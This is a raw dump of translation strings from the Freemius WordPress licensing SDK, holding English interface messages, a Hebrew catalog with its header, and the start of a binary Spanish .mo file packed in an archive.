you sure you want to proceed?DeactivationDebug LogDelegate to Site AdminsDelete All AccountsDetailsDon't have a license key?Donate to this pluginDownloadDownload %s VersionDownload the latest %s versionDownload the latest versionDownloadedDue to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support.EmailEmail addressEndEnter the domain of your website or other websites from where you plan to promote the %s.Enter the email address you've used for the upgrade below and we will resend you the license key.ErrorError received from the server:ExpiredExpires in %sExtra DomainsExtra domains where you will be marketing the product from.FileFilterFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.FreeFree TrialFree versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius StateFull nameFunctionGet commission for automated subscription renewals.Have a license key?Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!How do you like %s so far? Test all our %s premium features with a %d-day free trial.How to upload and activate?How will you promote us?I can't pay for it anymoreI couldn't understand how to make it workI don't like to share my information with youI found a better %sI have upgraded my account but when I try to Sync the License, the plan remains %s.I no longer need the %sI only needed the %s for a short periodIDIf you have a moment, please let us know why you are %sIf you would like to give up the ownership of the %s's account to %s click the Change Ownership button.In %sInstall Free Version NowInstall Free Version Update NowInstall NowInstall Update NowInvalid module ID.InvoiceIs ActiveIt looks like the license could not be activated.It looks like the license deactivation failed.It looks like you are not in trial mode anymore so there's nothing to cancel :)It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.It looks like your site currently doesn't have an active license.It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.It's a temporary %s - I'm troubleshooting an issueIt's not what I was looking forJust letting you know that the add-ons information of %s is being pulled from an external server.KeyKindly share what didn't work so we can fix it for future users...Kindly tell us the reason so we can improve.LastLast UpdatedLast licenseLatest Free Version InstalledLatest Version InstalledLearn moreLengthLicenseLicense KeyLicense keyLicense key is empty.LifetimeLike the %s? Become our ambassador and earn cash ;-)Load DB OptionLocalhostLogLoggerMessageMethodMobile appsModuleModule PathModule TypeMore information about %sNameNetwork UserNewNew Version AvailableNewer Version (%s) InstalledNewsletterNextNoNo IDNo commitment for %s - cancel anytimeNo commitment for %s days - cancel anytime!No credit card requiredNo expirationNon-expiringNone of the %s's plans supports a trial period.O.KOnce your license expires you can still use the Free version but you will NOT have access to the %s features.Opt InOpt OutOtherOwner EmailOwner IDOwner NamePCI compliantPaid add-on must be deployed to Freemius.PayPal account email addressPaymentsPayouts are in USD and processed monthly via PayPal.PlanPlan %s do not exist, therefore, can't start a trial.Plan %s does not support a trial period.Plan IDPlease contact us herePlease contact us with the following message:Please download %s.Please enter the license key that you received in the email right after the purchase:Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential).Please follow these steps to complete the upgradePlease provide details on how you intend to promote %s (please be as specific as possible).Please provide your full name.PluginPlugin HomepagePlugin IDPlugin InstallPlugin installer section titleChangelogPlugin installer section titleDescriptionPlugin installer section titleFAQPlugin installer section titleFeatures & PricingPlugin installer section titleInstallationPlugin installer section titleOther NotesPlugin installer section titleReviewsPluginsPlugins & Themes SyncPremiumPremium %s version was successfully activated.Premium versionPremium version already active.PricingPrivacy PolicyProcess IDProcessingProductsProgram SummaryPromotion methodsProvincePublic KeyPurchase LicenseQuotaRe-send activation emailRefer new customers to our %s and earn %s commission on each successful sale you refer!Renew licenseRequestsRequires WordPress VersionResultSDKSDK PathSave %sScheduled CronsScreenshotsSearch by addressSecret KeySecure HTTPS %s page, running from an external domainSeems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.Seems like you got the latest release.Select CountrySend License KeySet DB OptionSimulate Network UpgradeSingle Site LicenseSite IDSitesSkip & %sSlugSocial media (Facebook, Twitter, etc.)Sorry for the inconvenience and we are here to help if you give us a chance.Sorry, we could not complete the email update. Another user with the same email is already registered.StartStart TrialStart my free %sStateSubmit & %sSubscriptionSupportSupport ForumSync Data From ServerTax / VAT IDTerms of ServiceThank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information.Thank you so much for using %s!Thank you so much for using our products!Thank you!Thanks %s!Thanks for confirming the ownership change. An email was just sent to %s for final approval.The %s broke my siteThe %s didn't workThe %s didn't work as expectedThe %s is great, but I need specific feature that you don't supportThe %s is not workingThe %s suddenly stopped workingThe installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page.The upgrade of %s was successfully completed.ThemeTheme SwitchThemesThere is a new version of %s available.This plugin has not been marked as compatible with your version of WordPress.This plugin has not been tested with your current version of WordPress.TimestampTitleTotalTownTrialTypeUnable to connect to the filesystem. Please confirm your credentials.Unlimited LicensesUnlimited UpdatesUnlimited commissions.Up to %s SitesUpdateUpdate LicenseUpdates, announcements, marketing, no spamUpgradeUpload and activate the downloaded versionUsed to express elation, enthusiasm, or triumph (especially in electronic communication).W00tUser IDUsersValueVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.VerifiedVerify EmailVersion %s was released.View detailsView paid featuresWarningWe can't see any active licenses associated with that email address, are you sure it's the right address?We couldn't find your email address in the system, are you sure it's the right address?We made a few tweaks to the %s, %sWebsite, email, and social media statistics (optional)What did you expect?What feature?What is your %s?What price would you feel comfortable paying?What you've been looking for?What's the %s's name?Where are you going to promote the %s?Would you like to proceed with the update?YesYes - %sYou already utilized a trial before.You are 1-click away from starting your %1$s-day free trial of the %2$s plan.You are all good!You are already running the %s in a trial mode.You are just one step away - %sYou do not have a valid license to access the premium version.You have a %s license.You have successfully updated your %s.You might have missed it, but you don't have to share any data and can just %s the opt-in.Your %s Add-on plan was successfully upgraded.Your %s free trial was successfully cancelled.Your account was successfully activated with the %s plan.Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s.Your affiliation account was temporarily suspended.Your email has been successfully verified - you are AWESOME!Your free trial has expired. You can still continue using all our free features.Your license has been cancelled. If you think it's a mistake, please contact support.Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support.Your license has expired. You can still continue using the free %s forever.Your license was successfully activated.Your license was successfully deactivated, you are back to the %s plan.Your name was successfully updated.Your plan was successfully changed to %s.Your plan was successfully upgraded.Your trial has been successfully started.ZIP / Postal Codea positive responseRight onaddonX cannot run without pluginY%s cannot run without %s.addonX cannot run...%s cannot run without the plugin.advance notice of something that will need attention.Heads upallowas 5 licenses left%s leftas activating pluginActivatingas annual periodyearas application program interfaceAPIas close a windowDismissas code debuggingDebuggingas congratulationsCongratsas connection blockedBlockedas connection was successfulConnectedas download latest versionDownload Latestas every monthMonthlyas expiration dateExpirationas file/folder pathPathas in the process of sending an emailSending emailas monthly periodmoas once a yearAnnualas once a yearAnnuallyas once a yearOnceas product pricing planPlanas secret encryption key missingNo Secretas software development kit versionsSDK Versionsas software licenseLicenseas synchronizeSyncas synchronize licenseSync Licenseas the plugin authorAuthoras turned offOffas turned onOnbased on %scall to actionStart free trialclose a windowDismissclose windowDismissdeactivatingdelegatedo %sNOT%s send me security & feature updates, educational content and offers.e.g. Professional Plan%s Plane.g. billed monthlyBilled %se.g. the best productBestexclamationHeyexclamationOopsgreetingHey %s,interjection expressing joy or exuberanceYee-hawlike websitesSitesmillisecondsmsnot verifiednounPricenounPricingproduct versionVersionsecondssecsend me security & feature updates, educational content and offers.skipsomething somebody says when they are thinking about what you have just said.Hmmstart the trialswitchingthe latest %s version heretrial periodTrialverbDeleteverbDowngradeverbEditverbHideverbOpt InverbOpt OutverbPurchaseverbShowverbSkipverbUpdateverbUpgradex-ago%s agoProject-Id-Version: WordPress SDK Report-Msgid-Bugs-To: https://github.com/Freemius/wordpress-sdk/issues PO-Revision-Date: 2023-04-19 18:31+0530 Last-Translator: Vova Feldman , 2017-2018,2022 Language-Team: Hebrew (Israel) (http://www.transifex.com/freemius/wordpress-sdk/language/he_IL/) Language: he_IL MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=4; plural=(n == 1 && n % 1 == 0) ? 0 : (n == 2 && n % 1 == 0) ? 1: (n % 10 == 0 && n % 1 == 0 && n > 10) ? 2 : 3; X-Poedit-Basepath: .. X-Poedit-KeywordsList: get_text_inline;fs_text_inline;fs_echo_inline;fs_esc_js_inline;fs_esc_attr_inline;fs_esc_attr_echo_inline;fs_esc_html_inline;fs_esc_html_echo_inline;get_text_x_inline:1,2c;fs_text_x_inline:1,2c;fs_echo_x_inline:1,2c;fs_esc_attr_x_inline:1,2c;fs_esc_js_x_inline:1,2c;fs_esc_js_echo_x_inline:1,2c;fs_esc_html_x_inline:1,2c;fs_esc_html_echo_x_inline:1,2c X-Poedit-SourceCharset: UTF-8 X-Generator: Poedit 3.2.2 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.js השלם הפעלת "%s" עכשיוההרחבה %s נרכשה בהצלחה.%s התקנות%s Licensesלפני %s%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s הינו הבעלים החד של חשבון זה.%s minimum payout amount.%s ומעלהדרוג %s%s דרוגים%s שניותכוכב %s%s כוכביםפעם %s%s פעמים%s tracking cookie after the first visit to maximize earnings potential.APIחשבוןפרטי חשבוןפעולותהפעלהActivate %sהפעל חבילה %sהפעלת גירסה חינאמיתהפעלת רישיוןהפעלת רישיון על כל האתרים התלויים והעומדים.הפעלת רישיון על כל האתרים ברשת.הפעל את ההרחבהActivatedהרחבות עבור %sAdd Ons of module %sAdd another domainAdd-OnAdd-OnsAdd-on must be deployed to WordPress.org or Freemius.כתובתכתובת %sAffiliateאפיליאציהAfter your free %s, pay as little as %sהסכמה והפעלת רישיוןכל הבקשותכל הסוגיםאפשר\י והמשכ\יסכוםהורדה והתקנה אוטומטית של %s (גרסה בתשלום) מ-%2$s תתחיל בעוד %3$s. אם ברצונך לבצע את ההתקנה ידנית - לחץ על כפתור הביטול עכשיו.פידבק אנונימייישום על כל האתרים התלויים והעומדים.יישום על כל האתרים ברשת.Apply to become an affiliateAre you sure you want to delete all Freemius data?האם את/ה בטוח רוצה להמשיך?As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days.עדכן אוטומטית בעוד %sהתקנה אוטומטיתדירוג ממוצעאדירBecome an affiliateבילינגBlockingמזהה בלוגBodyשם עסקהאם אינך מוצא את מפתח הרישיון?בטלבטל התקנהבטל מנויביטבוטלביטול הניסיון יחסום מייד את הפיטצ'רים שהינם בתשלום. האם ברצונך בכל זאת להמשיך?שינוי רישיוןעדכון בעלותשינוי חבילהCheckoutעירניקוי מטמון ה-APIClick here to use the plugin anonymouslyClick to see reviews that provided a rating of %sClick to view full-size screenshot %dמוצריםCodeCompatible up toContactצור קשריצירת קשרתורמיםלא ניתן להפעיל את %s.מדינהCron Typeתאריךכיבוישיחרור רישיוןביטול הרישיון יחסום את כל הפיטצ'רים שבתשלום אך יאפשר להפעיל את הרישיון על אתר אחר. האם תרצו להמשיך בכל זאת?דיאקטיבציהDebug Logהאצלה למנהלי האתריםמחיקת כל החשבונותפרטיםהאם אין ברשותך מפתח רישיון?תרום לתוסףהורדההורד גרסת %sהורד\י את גרסת ה-%s העדכניתהורד את הגרסה האחרונהDownloadedDue to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support.דוא"לכתובת דוא"לEndEnter the domain of your website or other websites from where you plan to promote the %s.הזן את כתובת הדואל שאיתה שידרגת כדי לקבל את הרישיון שוב.שגיאההוחזרה שגיאה מהשרת:פג תוקףפג תוקף בעוד %sExtra DomainsExtra domains where you will be marketing the product from.קובץפילטרFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.חינםניסיון חינםגירסה חינאמיתFreemius APIניפוי תקלות פרימיוסFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.מצב פרימיוסFull nameפונקציהGet commission for automated subscription renewals.האם ברשותך רישיון?Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!How do you like %s so far? Test all our %s premium features with a %d-day free trial.איך להעלות ולהפעיל?How will you promote us?אני לא יכול/ה להמשיך לשלם על זהלא הצלחתי להבין איך לגרום לזה לעבודאני לא אוהב את הרעיון של שיתוף מידע איתכםמצאתי %s יותר טובשידרגתי את החשבון שלי אבל כשאני מנסה לבצע סנכרון לרישיון החבילה נשארת %s.I no longer need the %sI only needed the %s for a short periodמזההIf you have a moment, please let us know why you are %sIf you would like to give up the ownership of the %s's account to %s click the Change Ownership button.בעוד %sהתקן גרסה חינאמית עכשיוהתקן עדכון גרסה חינאמית עכשיוהתקן עכשיוהתקן עדכון במיידימזהה המודול לא תקני.חשבוניתהאם פעילנראה שלא ניתן להפעיל את הרישיון.נראה שניתוק הרישיון נכשל.It looks like you are not in trial mode anymore so there's nothing to cancel :)It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.נראה לאתר עדיין אין רישיון פעיל.It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.זה %s זמני - אני מנסה לפתור בעיהחיפשתי משהו אחרJust letting you know that the add-ons information of %s is being pulled from an external server.Keyאנא שתפ\י מה לא עבד כדי שנוכל לתקן זאת עבור משתמשים עתידיים...אנא שתף את הסיבה כדי שנוכל להשתפר.Lastעודכן לאחרונהרישיון אחרוןגרסה חינאמית עדכנית הותקנההגרסה האחרונה הותקנהLearn moreLengthרישיוןLicense Keyמפתח רישיוןמפתח הרישיון ריק.לכל החייםLike the %s? Become our ambassador and earn cash ;-)Load DB Optionשרת לוקאליLogLoggerהודעהMethodMobile appsמודולModule Pathסוג מודולמידע נוסף אודות %sשםמשתמש רשתחדשיש גרסה חדשהגרסה חדשה (%s) הותקנהניוסלטרNextלאאין מזההNo commitment for %s - cancel anytimeללא התחייבות ל-%s ימין - בטלו בכל רגע!לא נדרש כרטיס אשראיללא תפוגהNon-expiringNone of the %s's plans supports a trial period.אוקייOnce your license expires you can still use the Free version but you will NOT have access to the %s features.Opt InOpt Outאחרמייל הבעליםמזהה הבעליםשם הבעליםעומד בתקן PCIPaid add-on must be deployed to Freemius.PayPal account email addressתשלומיםPayouts are in USD and processed monthly via PayPal.חבילההחבילה %s אינה קיימת, לכן, לא ניתן להתחיל תקופת ניסיון.תוכנית %s אינה תומכת בתקופת ניסיון.Plan IDאנא צור איתנו קשר כאןאנא צור איתנו קשר יחד עם ההודעה הבאה:נא להוריד את %s.אנא הזן את הרישיון שקיבלת לתיבת הדואל שלך לאחר השלמת הרכישה.Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential).נא לבצע את הצעדים הבאים להשלמת השידרוגPlease provide details on how you intend to promote %s (please be as specific as possible).נא למלא את שמך המלא.תוסףעמוד התוסףPlugin IDהתקנת תוסףלוג שינוייםתיאורשאלות נפוצותפיטצ'רים ומחיריםהתקנההיערות נוספותביקורותתוספיםPlugins & Themes SyncPremiumPremium %s version was successfully activated.גירסת פרימיוםהגרסה בתשלום כבר פעילה.מחירוןמדיניות פרטיותProcess IDProcessingמוצריםProgram SummaryPromotion methodsפרובינציהמפתח פומביקניית רישיוןQuotaשליחה חוזרת של מייל האקטיבציהRefer new customers to our %s and earn %s commission on each successful sale you refer!חידוש רישיוןRequestsRequires WordPress VersionResultSDKמיקום SDKשמירת %sScheduled Cronsצילומי מסךחפש לפי כתובתמפתח סודיSecure HTTPS %s page, running from an external domainנראה שיש תקלה זמנית המונעת את ביטול הניסיון. אנא נסו שוב בעוד כמה דקות.נראה שיש לך את הגרסה האחרונה.בחר מדינהשליחת מפתח רישיוןSet DB Optionסמלוץ עדכון לרשתרשיון לאתר אחדמזהה אתראתריםדלג ו%sמזהה כתובתSocial media (Facebook, Twitter, etc.)מצטערים על חוסר הנעימות, אנחנו כאן כדי לעזור אם תאפשר\י זאת.Sorry, we could not complete the email update. Another user with the same email is already registered.Startהתחל תקופת ניסיוןהתחל את %s הניסיון שלימחוז/מדינהSubmit & %sמנויתמיכהפורום תמיכהסנכרון מידע מהשרתח.פ.תנאי השירותThank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information.אנו מודים לך על היותך כמשתמש של %s!אנו מודים לך על השימוש במוצרים שלנו!תודה רבה!תודה %s!תודה על אישור ביצוע החלפת הבעלות. הרגע נשלח מייל ל-%s כדי לקבל אישור סופי.ה%s הרס לי את האתרה%s לא עבדה%s לא עבד כמצופהThe %s is great, but I need specific feature that you don't supportה%s לא עובדה%s הפסיק פתאום לעבודתהליך ההתקנה התחיל ויכול לקחת מספר דקות לסיום. אנא המתינו בסבלנות עד לסיום מבלי לרענן את הדפדפן.The upgrade of %s was successfully completed.תבניתהחלפת תֵמָהתבניותיש גרסה חדשה עבור ה%s.התוסף לא סומן כתואם לגרסת הוורדפרס שלך.תוסף זה לא נבדק עם גרסת הוורדפרס שלך.TimestampכותרתTotalכפרניסיוןסוגUnable to connect to the filesystem. Please confirm your credentials.רשיונות ללא הגבלהעדכונים ללא הגבלהUnlimited commissions.עד %s אתריםעדכןעדכון רישיוןעדכונים, הכרזות, הודעות שיווקיות, ללא דואר זבלשדרגהעלה\י והפעיל\י את הגרסה שהורדתישמזהה משתמשמשתמשיםValueVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.מאומתאמת כתובת דוא"לגרסה %s הושקה.פרטים נוספיםצפה בפיטצ'רים שבתשלוםWarningWe can't see any active licenses associated with that email address, are you sure it's the right address?We couldn't find your email address in the system, are you sure it's the right address?We made a few tweaks to the %s, %sWebsite, email, and social media statistics (optional)למה ציפית?איזה פיטצ'ר?מה ה%s שלך?מה המחיר שכן תרגיש\י בנוח לשלם?מה חיפשת?What's the %s's name?Where are you going to promote the %s?האם ברצונך להמשיך עם העידכון?כןYes - %sהניסיון כבר נוצל בעבר.You are 1-click away from starting your %1$s-day free trial of the %2$s plan.את\ה מסודר!You are already running the %s in a trial mode.You are just one step away - %sאין ברשותך רישיון בר תוקף לשימוש בגרסת הפרימיום.יש לך רישיון %s.עידכנת בהצלחה את ה%s.אולי פספסת את זה אבל אינך חייב\ת לשתף כל מידע איתנו, ביכולתך %s על שיתוף המידע.חבילת ההרחבה %s שודרגה בהצלחה.תקופת הניסיון החינמית של %s בוטלה בהצלחה.חשבונך הופעל בהצלחה עם חבילת %s.Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s.Your affiliation account was temporarily suspended.Your email has been successfully verified - you are AWESOME!תקופת הניסיון שלך הסתיימה. הפיטצ'רים החינאמיים עדיין ניתנים לשימוש.רשיונך בוטל. אם לדעתך זו טעות, נא ליצור קשר עם התמיכה.Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support.Your license has expired. You can still continue using the free %s forever.הרישיון הופעל בהצלחה.רישיונך נותק בהצלחה, חזרת לחבילת %sשמך עודכן בהצלחה.החבילה עודכנה בהצלחה אל %s.החבילה שודרגה בהצלחה.הניסיון שלך הופעל בהצלחה.מיקוד / תא דוארמעולה%s לא יכול לעבוד ללא %s.ההרחבה %s אינה יכולה לפעול ללא התוסף.לתשמות לבךאפשרנשארו %sמפעילשנהAPIסגירהדיבוגמזל טובחסוםמחוברהורד גרסה אחרונהחודשיתפוגהנתיבשולח דוא"לחודשיםשנתישנתיפעם אחתחבילהאין מפתח סודיגרסאות SDKרישיוןסינכרוןסינכרן רישיוןAuthorכבוידלוקמבוסס על %sהתחלת ניסיון חינםסגירהסגירהdeactivatingהאצל%sאל%2$s תשלחו לי עדכוני אבטחה, פיטצ'רים, תוכן חינוכי, ומידע על מבצעים.חבילה %sמחוייב על בסיס %sהכי טובהייאופסהיי %s,ישששאתריםmsלא מאומתמחירמחירוןגרסהsecתשלחו לי עדכוני אבטחה ופיטצ'רים, תוכן חינוכי, ומידע אודות מבצעים.דלגאממהתחל תקופת ניסיוןswitchingגרסת ה-%s האחרונה כאןניסיוןמחקשנמךערוךהסתרOpt InOpt Outרכישההצגדלגעדכןשדרגלפני %svendor/freemius/languages/freemius-es_ES.mo000064400000214540147600365160015014 0ustar00$,*X8Y8^8Ad88nI929Z9hF:d:S;%h; ; ;;;;6f<<_R===#= >%'> M> Z> d>o>v>~>>>@>H>"?O5?M?j?>@@@@A%A5AAA AAABB&,B-SBB BBBBBB5BC$C 4C >C'JCrC C CCoC#D*DGDTEfEE/FBF"^FF(F2F!F>Ga[G+G0GH,HCHRHZHnHsH{HHHHH H HH HEHy)IIIII nJyJJ J J JJJYJMK\K mK yKKKKK K(K1K%"L:HLL LLLL L LLL L7L7M 5]mt]g]pJ^^^y^U_n_ ___ __%_ `>`F`c`z` `&``1_a.aOabAbbyb2lcccac 7dDd[dB_d,dd d dd e %e0e7e?e Qe \ehe xeee4ee eeeefff'f7f Rf^f ef qf}ff,f f ffggg g!gg hhhh%1hWh%]h+hh h h/himi~ij jujjdklm*m 0muDuW]u uuuuuv/v6v:vCvKvQv avmv v5vsvl4w&www w wyy4yHyPyly ry|y y=y&yLyf?zz z zzzz zz z {{ {+{ A{N{_{||%<}/b}})} } }\}O~~~C/smGxd.- ǁԁہ'"MςG,e S_TΆԆن߆E*=Ofu|** dz  ʈ' BObijWԉn,"@cB6*=a Œ-ӌ&5/\#*ʍ /4QdUD $QMvď/֏o&>Ր & <4DqZTR.:.i-;ؔ9ZN3<ݕbP}UΖ_$K(kG#ܘ%)&$PuU)Vǚ;ܚ6>Oϛ$ $@\&z*7̜93Rɝݝ*1%Ws#Ǟٞ ,AUZ _lNuğ,=NSY1t Ҡ 5 > L9XC֡ۡ 7= P\ k u  Ƣ ӢǦ˦WЦ(Zpid&Ω1' 8EMc9 Ckp#ˬ% *< C O\cVlZíW:MjK ðӰ 0/K{α A >Id m3y˲rxU&`|%ݴ'ѵ& (>>g%>̶h 4tG " 6AR Wd | Ÿ߸Ky<+պ  z5 ջ$<9K;;  .7 I Vd| 7ǽ ͽؽhU !#ٿ5/"eX"o  2=yua! "B FXg_  6FN;UO #z2DFBb:~:u0M"h$#3-6_P,gR]9>m)l##2)V C,Bow &*4O$t=?_2'Do\ `5W# -<Ng"y B   (08@P iw,  ) .%&L U_b%x6>" > L;Z| u+$#)7<+tDM+> jv0hNC=s46ik$ &6 JW[ v \3%.Y  -7F Wdy+t 4 NY!n   1&Xx&Sz  !+M T` eMq&P7#+2AX _ kx#U%4 !U1w n1AT$fm=xk$0 (LC,] SYp Vr . 'G gu} < Zh{ #Q0MuI@ N^v0/#?#c)/QUlD*R2'qBO   $ < D* go  UX R 4 26 Ui 1 ; 6-nd7A mMdi cO'A(R{&!Y0 -8PW&w        &> FPUru {    ' * 4>RW \igq   "+25I Xfmt}K^OV u    +3; B MXyl~|'4mf*f-/i#$M}#:  Y*D5ui^]Lyptw;xFk|K3 !Pt'o.Yg_8,!@vhBf,0``j %7?6Cz9kzJ[,h42eSWBXr62JjL| "c<(:{@ 6Zlpo\/^+-nAl5%w"T0=\O7EnP)<Jvs&q?uNyA}{FE;#O8 =_{FDSLDM3aqRGv 5Q[rISZg>%$]U~9T u2cGKn;~go$UO0X)a +mQ_s1ZxGp:^`QmNY &9W!R& [xjqdb4>3?B]\t'eAbH/dR=>w)a eHX}sKNC+V*.@c(r 1 "E <ITd IU1H-VV8WziP.kb( CMh7HmmW00t %s to access version %s security & feature updates, and support. The %s's %sdownload link%s, license key, and installation instructions have been sent to %s. If you can't find the email after 5 min, please check your spam box. The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$s"The ", e.g.: "The plugin"The %s's%1$s has been placed into safe mode because we noticed that %2$s is an exact copy of %3$s.%1$s will immediately stop all future recurring payments and your %2$s plan license will expire in %3$s.%1$s will immediately stop all future recurring payments and your %s plan license will expire in %s.%s - plugin name. As complete "PluginX" activation nowComplete "%s" Activation Now%s Add-on was successfully purchased.%s Installs%s Licenses%s ago%s and its add-ons%s automatic security & feature updates and paid functionality will keep working without interruptions until %s (or when your license expires, whatever comes first).%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s is my client's email address%s is my email address%s is the new owner of the account.%s minimum payout amount.%s opt-in was successfully completed.%s or higher%s rating%s ratings%s sec%s star%s stars%s time%s times%s to access version %s security & feature updates, and support.%s tracking cookie after the first visit to maximize earnings potential.%s's paid features%sClick here%s to choose the sites where you'd like to activate the license on.Click here to learn more about updating PHP.A confirmation email was just sent to %s. The email owner must confirm the update within the next 4 hours.A confirmation email was just sent to %s. You must confirm the update within the next 4 hours. If you cannot find the email, please check your spam folder.APIASCII arrow left icon←ASCII arrow right icon➤AccountAccount DetailsAccount is pending activation. Please check your email and click the link to activate your account and then submit the affiliate form again.ActionsActivateActivate %sActivate %s PlanActivate %s featuresActivate Free VersionActivate LicenseActivate license on all pending sites.Activate license on all sites in the network.Activate this add-onActivatedAdd Ons for %sAdd Ons of module %sAdd another domainAdd-OnAdd-OnsAdd-on must be deployed to WordPress.org or Freemius.AddressAddress Line %dAffiliateAffiliationAfter your free %s, pay as little as %sAgree & Activate LicenseAll RequestsAll TypesAllow & ContinueAlternatively, you can skip it for now and activate the license later, in your %s's network-level Account page.AmountAn automated download and installation of %s (paid version) from %s will start in %s. If you would like to do it manually - click the cancellation button now.An unknown error has occurred while trying to set the user's beta mode.An unknown error has occurred while trying to toggle the license's white-label mode.An unknown error has occurred.An update to a Beta version will replace your installed version of %s with the latest Beta release - use with caution, and not on production sites. You have been warned.Anonymous feedbackApply on all pending sites.Apply on all sites in the network.Apply to become an affiliateAre both %s and %s your email addresses?Are you sure you want to delete all Freemius data?Are you sure you want to proceed?Are you sure you would like to proceed with the disconnection?As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days.Associate with the license owner's account.Auto installation only works for opted-in users.Auto renews in %sAutomatic InstallationAverage RatingAwesomeBecome an affiliateBetaBillingBilling & InvoicesBlockingBlog IDBodyBundleBundle PlanBusiness nameBuy a license nowBuy licenseBy changing the user, you agree to transfer the account ownership to:By disconnecting the website, previously shared diagnostic data about %1$s will be deleted and no longer visible to %2$s.Can't find your license key?CancelCancel %s & ProceedCancel %s - I no longer need any security & feature updates, nor support for %s because I'm not planning to use the %s on this, or any other site.Cancel %s?Cancel InstallationCancel SubscriptionCancel TrialCancelledCancelling %sCancelling %s...Cancelling the subscriptionCancelling the trial will immediately block access to all premium features. Are you sure?Change LicenseChange OwnershipChange PlanChange UserCheckoutCityClear API CacheClear Updates TransientsClick hereClick here to use the plugin anonymouslyClick to see reviews that provided a rating of %sClick to view full-size screenshot %dClone resolution admin notice products list labelProductsCodeCommunicationCompatible up toContactContact SupportContact UsContributorsCouldn't activate %s.CountryCron TypeCurrent %s & SDK versions, and if active or uninstalledDateDeactivateDeactivate LicenseDeactivating or uninstalling the %s will automatically disable the license, which you'll be able to use on another site.Deactivating your license will block all premium features, but will enable activating the license on another site. Are you sure you want to proceed?DeactivationDebug LogDebug mode was successfully enabled and will be automatically disabled in 60 min. You can also disable it earlier by clicking the "Stop Debug" link.Delegate to Site AdminsDelete All AccountsDetailsDiagnostic InfoDiagnostic data will no longer be sent from %s to %s.Disabling white-label modeDisconnecting the website will permanently remove %s from your User Dashboard's account.Don't cancel %s - I'm still interested in getting security & feature updates, as well as be able to contact support.Don't have a license key?Donate to this pluginDowngrading your planDownloadDownload %s VersionDownload Paid VersionDownload the latest %s versionDownload the latest versionDownloadedDue to the new %sEU General Data Protection Regulation (GDPR)%s compliance requirements it is required that you provide your explicit consent, again, confirming that you are onboard :-)Due to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support.Duplicate WebsiteDuring the update process we detected %d site(s) that are still pending license activation.During the update process we detected %s site(s) in the network that are still pending your attention.EmailEmail addressEmail address updateEnabling white-label modeEndEnter email addressEnter the domain of your website or other websites from where you plan to promote the %s.Enter the email address you've used during the purchase and we will resend you the license key.Enter the email address you've used for the upgrade below and we will resend you the license key.Enter the new email addressErrorError received from the server:ExpiredExpires in %sExtensionsExtra DomainsExtra domains where you will be marketing the product from.FileFilterFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.For delivery of security & feature updates, and license management, %s needs toFreeFree TrialFree versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius StateFreemius is our licensing and software updates engineFull nameFunctionGet commission for automated subscription renewals.Get updates for bleeding edge Beta versions of %s.Great, please install cURL and enable it in your php.ini file. In addition, search for the 'disable_functions' directive in your php.ini file and remove any disabled methods starting with 'curl_'. To make sure it was successfully activated, use 'phpinfo()'. Once activated, deactivate the %s and reactivate it back again.Have a license key?Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!Homepage URL & title, WP & PHP versions, and site languageHow do you like %s so far? Test all our %s premium features with a %d-day free trial.How to upload and activate?How will you promote us?I Agree - Change UserI can't pay for it anymoreI couldn't understand how to make it workI don't know what is cURL or how to install it, help me!I don't like to share my information with youI found a better %sI have upgraded my account but when I try to Sync the License, the plan remains %s.I no longer need the %sI only needed the %s for a short periodIDIf this is a long term duplicate, to keep automatic updates and paid functionality after %s, please %s.If you click it, this decision will be delegated to the sites administrators.If you have a moment, please let us know 